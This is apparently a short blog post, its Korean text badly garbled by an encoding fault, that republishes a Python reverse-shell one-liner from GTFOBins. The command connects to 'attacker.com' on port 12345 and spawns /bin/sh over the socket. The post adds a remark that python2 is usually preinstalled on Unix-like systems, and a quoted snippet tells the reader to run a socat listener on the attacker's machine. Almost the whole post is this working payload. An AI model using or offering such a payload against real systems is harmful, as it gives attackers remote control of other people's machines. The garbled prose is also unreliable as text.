728x90
λ°μν
export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
λλΆλΆμ μ λμ€ κ³μ΄μ OS(리λ
μ€, λ§₯os)μλ python2λ μ€μΉκ° λμ΄μλ κ²½μ°κ° λ§μΌλ λ³λμ μ€μΉ μμ΄ λͺ
λ Ήμ΄λ§μΌλ‘ μ¬μ© κ°λ₯νλ€.
μΆμ²:
https://gtfobins.github.io/gtfobins/python/#reverse-shell
python | GTFOBins
Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s
gtfobins.github.io
728x90
λ°μν